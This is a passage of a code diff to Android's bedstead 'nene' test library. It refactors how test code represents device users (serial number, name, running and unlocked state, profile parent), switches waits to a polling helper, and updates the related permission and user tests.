+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
@@ -16,38 +16,65 @@
package com.android.bedstead.nene.users;
+import static android.Manifest.permission.CREATE_USERS;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
import static android.os.Build.VERSION_CODES.R;
+import static android.os.Build.VERSION_CODES.S;
+
+import static com.android.bedstead.nene.users.Users.users;
import android.content.Intent;
+import android.content.pm.UserInfo;
import android.os.UserHandle;
+import android.os.UserManager;
import android.util.Log;
+import androidx.annotation.Nullable;
+
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.exceptions.AdbException;
import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User.UserState;
+import com.android.bedstead.nene.utils.Poll;
import com.android.bedstead.nene.utils.ShellCommand;
import com.android.bedstead.nene.utils.ShellCommandUtils;
import com.android.bedstead.nene.utils.Versions;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-import javax.annotation.Nullable;
+import java.time.Duration;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
/**
* A representation of a User on device which may or may not exist.
- *
- * <p>To resolve the user into a {@link User}, see {@link #resolve()}.
*/
-public abstract class UserReference implements AutoCloseable {
+public class UserReference implements AutoCloseable {
+
+ private static final Set<AdbUser.UserState> RUNNING_STATES = new HashSet<>(
+ Arrays.asList(AdbUser.UserState.RUNNING_LOCKED,
+ AdbUser.UserState.RUNNING_UNLOCKED,
+ AdbUser.UserState.RUNNING_UNLOCKING)
+ );
private static final String LOG_TAG = "UserReference";
private final int mId;
+ private final UserManager mUserManager;
+
+ private Long mSerialNo;
+ private String mName;
+ private UserType mUserType;
+ private Boolean mIsPrimary;
+ private boolean mParentCached = false;
+ private UserReference mParent;
+
UserReference(int id) {
mId = id;
+ mUserManager = TestApis.context().androidContextAsUser(this)
+ .getSystemService(UserManager.class);
}
public final int id() {
@@ -62,30 +89,25 @@
}
/**
- * Get the current state of the {@link User} from the device, or {@code null} if the user does
- * not exist.
- */
- @Nullable
- public final User resolve() {
- return TestApis.users().fetchUser(mId);
- }
-
- /**
* Remove the user from the device.
*
* <p>If the user does not exist, or the removal fails for any other reason, a
* {@link NeneException} will be thrown.
*/
public final void remove() {
- // TODO(scottjonathan): There's a potential issue here as when the user is marked as
- // "is removing" the DPC still can't be uninstalled because it's set as the profile owner.
try {
// Expected success string is "Success: removed user"
ShellCommand.builder("pm remove-user")
.addOperand(mId)
.validate(ShellCommandUtils::startsWithSuccess)
.execute();
- TestApis.users().waitForUserToNotExistOrMatch(this, User::isRemoving);
+
+ Poll.forValue("User exists", this::exists)
+ .toBeEqualTo(false)
+ // TODO(b/203630556): Reduce timeout once we have a faster way of removing users
+ .timeout(Duration.ofMinutes(1))
+ .errorOnFail()
+ .await();
} catch (AdbException e) {
throw new NeneException("Could not remove user " + this, e);
}
@@ -94,8 +116,7 @@
/**
* Start the user.
*
- * <p>After calling this command, the user will be in the {@link UserState#RUNNING_UNLOCKED}
- * state.
+ * <p>After calling this command, the user will be running unlocked.
*
* <p>If the user does not exist, or the start fails for any other reason, a
* {@link NeneException} will be thrown.
@@ -109,11 +130,12 @@
.addOperand("-w")
.validate(ShellCommandUtils::startsWithSuccess)
.execute();
- User waitedUser = TestApis.users().waitForUserToNotExistOrMatch(
- this, (user) -> user.state() == UserState.RUNNING_UNLOCKED);
- if (waitedUser == null) {
- throw new NeneException("User does not exist " + this);
- }
+
+ Poll.forValue("User running unlocked", () -> isRunning() && isUnlocked())
+ .toBeEqualTo(true)
+ .errorOnFail()
+ .timeout(Duration.ofMinutes(1))
+ .await();
} catch (AdbException e) {
throw new NeneException("Could not start user " + this, e);
}
@@ -124,7 +146,7 @@
/**
* Stop the user.
*
- * <p>After calling this command, the user will be in the {@link UserState#NOT_RUNNING} state.
+ * <p>After calling this command, the user will be not running.
*/
public UserReference stop() {
try {
@@ -135,11 +157,13 @@
.allowEmptyOutput(true)
.validate(String::isEmpty)
.execute();
- User waitedUser = TestApis.users().waitForUserToNotExistOrMatch(
- this, (user) -> user.state() == UserState.NOT_RUNNING);
- if (waitedUser == null) {
- throw new NeneException("User does not exist " + this);
- }
+
+ Poll.forValue("User running", this::isRunning)
+ .toBeEqualTo(false)
+ // TODO(b/203630556): Replace stopping with something faster
+ .timeout(Duration.ofMinutes(4))
+ .errorOnFail()
+ .await();
} catch (AdbException e) {
throw new NeneException("Could not stop user " + this, e);
}
@@ -191,6 +215,148 @@
return this;
}
+ /** Get the serial number of the user. */
+ public long serialNo() {
+ if (mSerialNo == null) {
+ mSerialNo = TestApis.context().instrumentedContext().getSystemService(UserManager.class)
+ .getSerialNumberForUser(userHandle());
+
+ if (mSerialNo == -1) {
+ mSerialNo = null;
+ throw new NeneException("User does not exist " + this);
+ }
+ }
+
+ return mSerialNo;
+ }
+
+ /** Get the name of the user. */
+ public String name() {
+ if (mName == null) {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ mName = adbUser().name();
+ } else {
+ try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+ mName = TestApis.context().androidContextAsUser(this)
+ .getSystemService(UserManager.class)
+ .getUserName();
+ }
+ if (mName.equals("")) {
+ if (!exists()) {
+ mName = null;
+ throw new NeneException("User does not exist " + this);
+ }
+ }
+ }
+ }
+
+ return mName;
+ }
+
+ /** Is the user running? */
+ public boolean isRunning() {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ AdbUser adbUser = adbUserOrNull();
+ if (adbUser == null) {
+ return false;
+ }
+ return RUNNING_STATES.contains(adbUser().state());
+ }
+ try (PermissionContext p = TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+ return mUserManager.isUserRunning(userHandle());
+ }
+ }
+
+ /** Is the user unlocked? */
+ public boolean isUnlocked() {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ AdbUser adbUser = adbUserOrNull();
+ if (adbUser == null) {
+ return false;
+ }
+ return adbUser.state().equals(AdbUser.UserState.RUNNING_UNLOCKED);
+ }
+ try (PermissionContext p = TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+ return mUserManager.isUserUnlocked(userHandle());
+ }
+ }
+
+ /**
+ * Get the user type.
+ */
+ public UserType type() {
+ if (mUserType == null) {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ mUserType = adbUser().type();
+ } else {
+ try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+ String userTypeName = mUserManager.getUserType();
+ if (userTypeName.equals("")) {
+ throw new NeneException("User does not exist " + this);
+ }
+ mUserType = TestApis.users().supportedType(userTypeName);
+ }
+ }
+ }
+ return mUserType;
+ }
+
+ /**
+ * Return {@code true} if this is the primary user.
+ */
+ public Boolean isPrimary() {
+ if (mIsPrimary == null) {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ mIsPrimary = adbUser().isPrimary();
+ } else {
+ mIsPrimary = userInfo().isPrimary();
+ }
+ }
+
+ return mIsPrimary;
+ }
+
+ /**
+ * Return the parent of this profile.
+ *
+ * <p>Returns {@code null} if this user is not a profile.
+ */
+ @Nullable
+ public UserReference parent() {
+ if (!mParentCached) {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ mParent = adbUser().parent();
+ } else {
+ try (PermissionContext p =
+ TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+ UserHandle parentHandle = mUserManager.getProfileParent(userHandle());
+ if (parentHandle == null) {
+ if (!exists()) {
+ throw new NeneException("User does not exist " + this);
+ }
+
+ mParent = null;
+ } else {
+ mParent = TestApis.users().find(parentHandle);
+ }
+ }
+ }
+ mParentCached = true;
+ }
+
+ return mParent;
+ }
+
+ /**
+ * Return {@code true} if a user with this ID exists.
+ */
+ public boolean exists() {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ return TestApis.users().all().stream().anyMatch(u -> u.equals(this));
+ }
+ return users().anyMatch(ui -> ui.id == id());
+ }
+
@Override
public boolean equals(Object obj) {
if (!(obj instanceof UserReference)) {
@@ -212,4 +378,26 @@
public void close() {
remove();
}
+
+ private AdbUser adbUserOrNull() {
+ return TestApis.users().fetchUser(mId);
+ }
+
+ private AdbUser adbUser() {
+ AdbUser user = adbUserOrNull();
+ if (user == null) {
+ throw new NeneException("User does not exist " + this);
+ }
+ return user;
+ }
+
+ private UserInfo userInfo() {
+ return users().filter(ui -> ui.id == id()).findFirst()
+ .orElseThrow(() -> new NeneException("User does not exist " + this));
+ }
+
+ @Override
+ public String toString() {
+ return "User{id=" + id() + "}";
+ }
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index c2f24d2..8bc50dd 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -16,6 +16,7 @@
package com.android.bedstead.nene.users;
+import static android.Manifest.permission.CREATE_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
import static android.os.Build.VERSION.SDK_INT;
import static android.os.Build.VERSION_CODES.S;
@@ -26,7 +27,9 @@
import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
import android.app.ActivityManager;
+import android.content.pm.UserInfo;
import android.os.Build;
+import android.os.SystemProperties;
import android.os.UserHandle;
import android.os.UserManager;
@@ -38,6 +41,7 @@
import com.android.bedstead.nene.exceptions.AdbParseException;
import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.permissions.Permissions;
import com.android.bedstead.nene.utils.Poll;
import com.android.bedstead.nene.utils.ShellCommand;
import com.android.bedstead.nene.utils.Versions;
@@ -54,17 +58,20 @@
import java.util.Set;
import java.util.function.Function;
import java.util.stream.Collectors;
+import java.util.stream.Stream;
public final class Users {
static final int SYSTEM_USER_ID = 0;
- private static final long WAIT_FOR_USER_TIMEOUT_MS = 1000 * 240;
+ private static final Duration WAIT_FOR_USER_TIMEOUT = Duration.ofMinutes(4);
private static final String PROPERTY_STOP_BG_USERS_ON_SWITCH = "fw.stop_bg_users_on_switch";
- private Map<Integer, User> mCachedUsers = null;
+ private Map<Integer, AdbUser> mCachedUsers = null;
private Map<String, UserType> mCachedUserTypes = null;
private Set<UserType> mCachedUserTypeValues = null;
private final AdbUserParser mParser;
+ private static final UserManager sUserManager =
+ TestApis.context().instrumentedContext().getSystemService(UserManager.class);
public static final Users sInstance = new Users();
@@ -72,11 +79,17 @@
mParser = AdbUserParser.get(SDK_INT);
}
- /** Get all {@link User}s on the device. */
- public Collection<User> all() {
- fillCache();
+ /** Get all {@link UserReference}s on the device. */
+ public Collection<UserReference> all() {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ fillCache();
+ return mCachedUsers.keySet().stream().map(UserReference::new)
+ .collect(Collectors.toSet());
+ }
- return mCachedUsers.values();
+ return users().map(
+ ui -> new UserReference(ui.id)
+ ).collect(Collectors.toSet());
}
/**
@@ -97,11 +110,11 @@
}
}
- List<UserReference> users = new ArrayList<>(TestApis.users().all());
+ List<UserReference> users = new ArrayList<>(all());
users.sort(Comparator.comparingInt(UserReference::id));
for (UserReference user : users) {
- if (user.resolve().parent() != null) {
+ if (user.parent() == null) {
return user;
}
}
@@ -138,30 +151,23 @@
/** Get a {@link UserReference} by {@code id}. */
public UserReference find(int id) {
- return new UnresolvedUser(id);
+ return new UserReference(id);
}
/** Get a {@link UserReference} by {@code userHandle}. */
public UserReference find(UserHandle userHandle) {
- return new UnresolvedUser(userHandle.getIdentifier());
- }
-
- @Nullable
- User fetchUser(int id) {
- // TODO(scottjonathan): fillCache probably does more than we need here -
- // can we make it more efficient?
- fillCache();
-
- return mCachedUsers.get(id);
+ return new UserReference(userHandle.getIdentifier());
}
/** Get all supported {@link UserType}s. */
public Set<UserType> supportedTypes() {
+ // TODO(b/203557600): Stop using adb
ensureSupportedTypesCacheFilled();
return mCachedUserTypeValues;
}
/** Get a {@link UserType} with the given {@code typeName}, or {@code null} */
+ @Nullable
public UserType supportedType(String typeName) {
ensureSupportedTypesCacheFilled();
return mCachedUserTypes.get(typeName);
@@ -307,14 +313,21 @@
* Get a {@link UserReference} to a user who does not exist.
*/
public UserReference nonExisting() {
- fillCache();
+ Set<Integer> userIds;
+ if (Versions.meetsMinimumSdkVersionRequirement(S)) {
+ userIds = users().map(ui -> ui.id).collect(Collectors.toSet());
+ } else {
+ fillCache();
+ userIds = mCachedUsers.keySet();
+ }
+
int id = 0;
- while (mCachedUsers.get(id) != null) {
+ while (userIds.contains(id)) {
id++;
}
- return new UnresolvedUser(id);
+ return new UserReference(id);
}
private void fillCache() {
@@ -330,10 +343,10 @@
ensureSupportedTypesCacheFilled();
}
- Iterator<Map.Entry<Integer, User>> iterator = mCachedUsers.entrySet().iterator();
+ Iterator<Map.Entry<Integer, AdbUser>> iterator = mCachedUsers.entrySet().iterator();
while (iterator.hasNext()) {
- Map.Entry<Integer, User> entry = iterator.next();
+ Map.Entry<Integer, AdbUser> entry = iterator.next();
if (entry.getValue().isRemoving()) {
// We don't expose users who are currently being removed
@@ -341,13 +354,13 @@
continue;
}
- User.MutableUser mutableUser = entry.getValue().mMutableUser;
+ AdbUser.MutableUser mutableUser = entry.getValue().mMutableUser;
if (SDK_INT < Build.VERSION_CODES.R) {
if (entry.getValue().id() == SYSTEM_USER_ID) {
mutableUser.mType = supportedType(SYSTEM_USER_TYPE_NAME);
mutableUser.mIsPrimary = true;
- } else if (entry.getValue().hasFlag(User.FLAG_MANAGED_PROFILE)) {
+ } else if (entry.getValue().hasFlag(AdbUser.FLAG_MANAGED_PROFILE)) {
mutableUser.mType =
supportedType(MANAGED_PROFILE_TYPE_NAME);
mutableUser.mIsPrimary = false;
@@ -376,52 +389,41 @@
}
/**
- * Block until the user with the given {@code userReference} exists and is in the correct state.
- *
- * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
- */
- User waitForUserToMatch(UserReference userReference, Function<User, Boolean> userChecker) {
- return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ true);
- }
-
- /**
* Block until the user with the given {@code userReference} to not exist or to be in the
* correct state.
*
* <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
*/
@Nullable
- User waitForUserToNotExistOrMatch(
- UserReference userReference, Function<User, Boolean> userChecker) {
+ UserReference waitForUserToNotExistOrMatch(
+ UserReference userReference, Function<UserReference, Boolean> userChecker) {
return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ false);
}
@Nullable
- private User waitForUserToMatch(
- UserReference userReference, Function<User, Boolean> userChecker,
+ private UserReference waitForUserToMatch(
+ UserReference userReference, Function<UserReference, Boolean> userChecker,
boolean waitForExist) {
// TODO(scottjonathan): This is pretty heavy because we resolve everything when we know we
// are throwing away everything except one user. Optimise
try {
- return Poll.forValue("user", userReference::resolve)
+ return Poll.forValue("user", () -> userReference)
.toMeet((user) -> {
if (user == null) {
return !waitForExist;
}
return userChecker.apply(user);
- }).timeout(Duration.ofMillis(WAIT_FOR_USER_TIMEOUT_MS))
+ }).timeout(WAIT_FOR_USER_TIMEOUT)
.errorOnFail("Expected user to meet requirement")
.await();
} catch (AssertionError e) {
- User user = userReference.resolve();
-
- if (user == null) {
+ if (!userReference.exists()) {
throw new NeneException(
"Timed out waiting for user state for user "
+ userReference + ". User does not exist.", e);
}
throw new NeneException(
- "Timed out waiting for user state, current state " + user, e
+ "Timed out waiting for user state, current state " + userReference, e
);
}
}
@@ -447,13 +449,8 @@
if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
return false;
}
- try {
- return ShellCommand.builder("getprop")
- .addOperand(PROPERTY_STOP_BG_USERS_ON_SWITCH)
- .executeAndParseOutput(o -> !o.trim().equals("0"));
- } catch (AdbException e) {
- throw new NeneException("Error getting stopBgUsersOnSwitch", e);
- }
+
+ return SystemProperties.getBoolean(PROPERTY_STOP_BG_USERS_ON_SWITCH, /* def= */ true);
}
/**
@@ -465,14 +462,30 @@
if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
return;
}
- try {
- ShellCommand.builder("setprop")
- .addOperand(PROPERTY_STOP_BG_USERS_ON_SWITCH)
- .addOperand(stop ? "1" : "0")
- .asRoot()
- .execute();
- } catch (AdbException e) {
- throw new NeneException("Error setting stopBgUsersOnSwitch", e);
+
+ // TODO(203752848): Re-enable this once we can set it
+// TestApis.systemProperties().set(PROPERTY_STOP_BG_USERS_ON_SWITCH, stop ? "1" : "0");
+ }
+
+ @Nullable
+ AdbUser fetchUser(int id) {
+ fillCache();
+ return mCachedUsers.get(id);
+ }
+
+ static Stream<UserInfo> users() {
+ if (Permissions.sIgnorePermissions.get()) {
+ return sUserManager.getUsers(
+ /* excludePartial= */ false,
+ /* excludeDying= */ true,
+ /* excludePreCreated= */ false).stream();
+ }
+
+ try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+ return sUserManager.getUsers(
+ /* excludePartial= */ false,
+ /* excludeDying= */ true,
+ /* excludePreCreated= */ false).stream();
}
}
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java
index 2ec43e9..d687ab9 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java
@@ -191,7 +191,8 @@
* See {@link #errorOnFail()} to change this behavior.
*/
public E await() {
- Instant endTime = Instant.now().plus(mTimeout);
+ Instant startTime = Instant.now();
+ Instant endTime = startTime.plus(mTimeout);
E value = null;
int tries = 0;
@@ -229,8 +230,10 @@
try {
value = mSupplier.get();
} catch (Throwable e) {
+ long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
throw new PollValueFailedException(mErrorSupplier.apply(mValueName, value)
- + " - Exception when getting value (checked " + tries + " times)", e);
+ + " - Exception when getting value (checked " + tries + " times in "
+ + seconds + " seconds)", e);
}
try {
@@ -238,11 +241,16 @@
return value;
}
+ long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
throw new PollValueFailedException(
- mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times)");
+ mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times in "
+ + seconds + " seconds)");
} catch (Throwable e) {
+ long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
throw new PollValueFailedException(
- mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times)", e);
+ mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times in "
+ + seconds + " seconds)", e);
+
}
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
index 2f73f5c..7818bcc 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
@@ -126,23 +126,6 @@
}
/**
- * Run the command as a given linux user.
- */
- @CheckResult
- public Builder asLinuxUser(String user) {
- mLinuxUser = user;
- return this;
- }
-
- /**
- * Run the command as the root linux user.
- */
- @CheckResult
- public Builder asRoot() {
- return asLinuxUser("root");
- }
-
- /**
* Build the full command including all options and operands.
*/
public String build() {
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
index f3377b8..e6f0f84 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
@@ -16,14 +16,14 @@
package com.android.bedstead.nene.packages;
-import static android.os.Environment.DIRECTORY_DOCUMENTS;
+import static android.Manifest.permission.MANAGE_EXTERNAL_STORAGE;
+import static android.os.Build.VERSION_CODES.R;
import static com.google.common.truth.Truth.assertThat;
import static org.testng.Assert.assertThrows;
import android.content.Context;
-import android.os.Build;
import android.os.Environment;
import com.android.bedstead.harrier.BedsteadJUnit4;
@@ -34,8 +34,8 @@
import com.android.bedstead.harrier.annotations.RequireRunOnSystemUser;
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.utils.Versions;
import com.android.bedstead.testapp.TestApp;
import com.android.bedstead.testapp.TestAppInstanceReference;
import com.android.bedstead.testapp.TestAppProvider;
@@ -82,27 +82,24 @@
StringQuery.string().isEqualTo(DECLARED_RUNTIME_PERMISSION),
StringQuery.string().isEqualTo(INSTALL_PERMISSION)
).get();
- private static final File sOutputDir = getOutputDir();
// TODO(b/202705721): Fix issue with file name conflicts and go with a fixed name
- private static final File sTestAppApkFile = new File(sOutputDir, UUID.randomUUID() + ".apk");
-
-
- private static File getOutputDir() {
- if (Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.R)) {
- return Environment.getExternalStoragePublicDirectory(DIRECTORY_DOCUMENTS);
- }
-
- return sContext.getFilesDir();
- }
+ private static final File sTestAppApkFile = new File(
+ Environment.getExternalStorageDirectory(), UUID.randomUUID() + ".apk");
@BeforeClass
public static void setupClass() throws Exception {
- sTestApp.writeApkFile(sTestAppApkFile);
+ try (PermissionContext p = TestApis.permissions()
+ .withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+ sTestApp.writeApkFile(sTestAppApkFile);
+ }
}
@AfterClass
public static void teardownClass() throws Exception {
- sTestAppApkFile.delete();
+ try (PermissionContext p = TestApis.permissions()
+ .withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+ sTestAppApkFile.delete();
+ }
}
@Test
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
index 95df0b7..9b071e1 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
@@ -16,8 +16,10 @@
package com.android.bedstead.nene.permissions;
+import static android.Manifest.permission.MANAGE_EXTERNAL_STORAGE;
import static android.content.pm.PackageManager.PERMISSION_DENIED;
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static android.os.Build.VERSION_CODES.P;
import static android.os.Build.VERSION_CODES.Q;
import static android.os.Build.VERSION_CODES.R;
import static android.os.Build.VERSION_CODES.S;
@@ -79,7 +81,7 @@
}
@Test
- @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
+ @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
public void withoutPermission_alreadyGranted_androidPreQ_throwsException() {
assertThrows(NeneException.class,
() -> TestApis.permissions().withoutPermission(
@@ -114,7 +116,7 @@
}
@Test
- @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
+ @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
public void withoutPermission_installPermission_androidPreQ_throwsException() {
assertThrows(NeneException.class,
() -> TestApis.permissions().withoutPermission(INSTALL_PERMISSION));
@@ -135,7 +137,7 @@
}
@Test
- @RequireSdkVersion(min = Q, reason = "adopt shell permissions only available on Q+")
+ @RequireSdkVersion(max = P, reason = "adopt shell permissions only available on Q+")
public void withoutPermission_permissionIsAlreadyGrantedInInstrumentedApp_androidPreQ_throwsException() {
assertThrows(NeneException.class,
() -> TestApis.permissions().withoutPermission(
@@ -228,4 +230,24 @@
// TODO(scottjonathan): Once we can install the testapp without granting all runtime
// permissions, add a test that this works pre-Q
+
+ @Test
+ @RequireSdkVersion(min = R, max = R)
+ public void withPermissionOnVersion_onVersion_hasPermission() {
+ try (PermissionContext p =
+ TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+ assertThat(sContext.checkSelfPermission(MANAGE_EXTERNAL_STORAGE))
+ .isEqualTo(PERMISSION_GRANTED);
+ }
+ }
+
+ @Test
+ @RequireSdkVersion(min = S)
+ public void withPermissionOnVersion_notOnVersion_doesNotHavePermission() {
+ try (PermissionContext p =
+ TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+ assertThat(sContext.checkSelfPermission(MANAGE_EXTERNAL_STORAGE))
+ .isNotEqualTo(PERMISSION_GRANTED);
+ }
+ }
}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
index 2b4aec2..6c3fd37 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
@@ -16,10 +16,12 @@
package com.android.bedstead.nene.users;
+import static android.Manifest.permission.CREATE_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.os.Build.VERSION_CODES.Q;
+import static android.os.Build.VERSION_CODES.S;
import static com.google.common.truth.Truth.assertThat;
@@ -27,11 +29,12 @@
import android.content.Context;
import android.content.Intent;
+import android.os.Process;
+import android.os.UserManager;
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
-import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
-import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.EnsureHasPermission;
import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
@@ -53,8 +56,10 @@
private static final int USER_ID = NON_EXISTING_USER_ID;
private static final String USER_NAME = "userName";
private static final String TEST_ACTIVITY_NAME = "com.android.bedstead.nene.test.Activity";
-
+ private static final int SERIAL_NO = 1000;
+ private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
private static final Context sContext = TestApis.context().instrumentedContext();
+ private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
@ClassRule @Rule
public static final DeviceState sDeviceState = new DeviceState();
@@ -70,29 +75,14 @@
}
@Test
- public void resolve_doesNotExist_returnsNull() {
- assertThat(TestApis.users().find(NON_EXISTING_USER_ID).resolve()).isNull();
+ public void exists_doesNotExist_returnsFalse() {
+ assertThat(TestApis.users().find(NON_EXISTING_USER_ID).exists()).isFalse();
}
@Test
@EnsureHasSecondaryUser
- public void resolve_doesExist_returnsUser() {
- assertThat(sDeviceState.secondaryUser().resolve()).isNotNull();
- }
-
- @Test
- // TODO(scottjonathan): We should specify that we can create a new user
- @EnsureHasNoSecondaryUser
- @EnsureHasNoWorkProfile
- public void resolve_doesExist_userHasCorrectDetails() {
- UserReference userReference = TestApis.users().createUser().name(USER_NAME).create();
-
- try {
- User user = userReference.resolve();
- assertThat(user.name()).isEqualTo(USER_NAME);
- } finally {
- userReference.remove();
- }
+ public void exists_doesExist_returnsTrue() {
+ assertThat(sDeviceState.secondaryUser().exists()).isTrue();
}
@Test
@@ -116,13 +106,13 @@
}
@Test
- public void start_userNotStarted_userIsStarted() {
+ public void start_userNotStarted_userIsUnlocked() {
UserReference user = TestApis.users().createUser().create().stop();
user.start();
try {
- assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+ assertThat(user.isUnlocked()).isTrue();
} finally {
user.remove();
}
@@ -135,14 +125,12 @@
sDeviceState.secondaryUser().start();
- assertThat(sDeviceState.secondaryUser().resolve().state())
- .isEqualTo(User.UserState.RUNNING_UNLOCKED);
+ assertThat(sDeviceState.secondaryUser().isUnlocked()).isTrue();
}
@Test
- public void stop_userDoesNotExist_throwsException() {
- assertThrows(NeneException.class,
- () -> TestApis.users().find(NON_EXISTING_USER_ID).stop());
+ public void stop_userDoesNotExist_doesNothing() {
+ TestApis.users().find(NON_EXISTING_USER_ID).stop();
}
@Test
@@ -151,8 +139,7 @@
public void stop_userStarted_userIsStopped() {
sDeviceState.secondaryUser().stop();
- assertThat(sDeviceState.secondaryUser().resolve().state())
- .isEqualTo(User.UserState.NOT_RUNNING);
+ assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
}
@Test
@@ -163,8 +150,7 @@
sDeviceState.secondaryUser().stop();
- assertThat(sDeviceState.secondaryUser().resolve().state())
- .isEqualTo(User.UserState.NOT_RUNNING);
+ assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
}
@Test
@@ -202,7 +188,161 @@
public void stop_isWorkProfileOfCurrentUser_stops() {
sDeviceState.workProfile().stop();
- assertThat(sDeviceState.workProfile().resolve().state())
- .isEqualTo(User.UserState.NOT_RUNNING);
+ assertThat(sDeviceState.workProfile().isRunning()).isFalse();
+ }
+
+ @Test
+ public void serialNo_returnsSerialNo() {
+ UserReference user = TestApis.users().instrumented();
+
+ assertThat(user.serialNo())
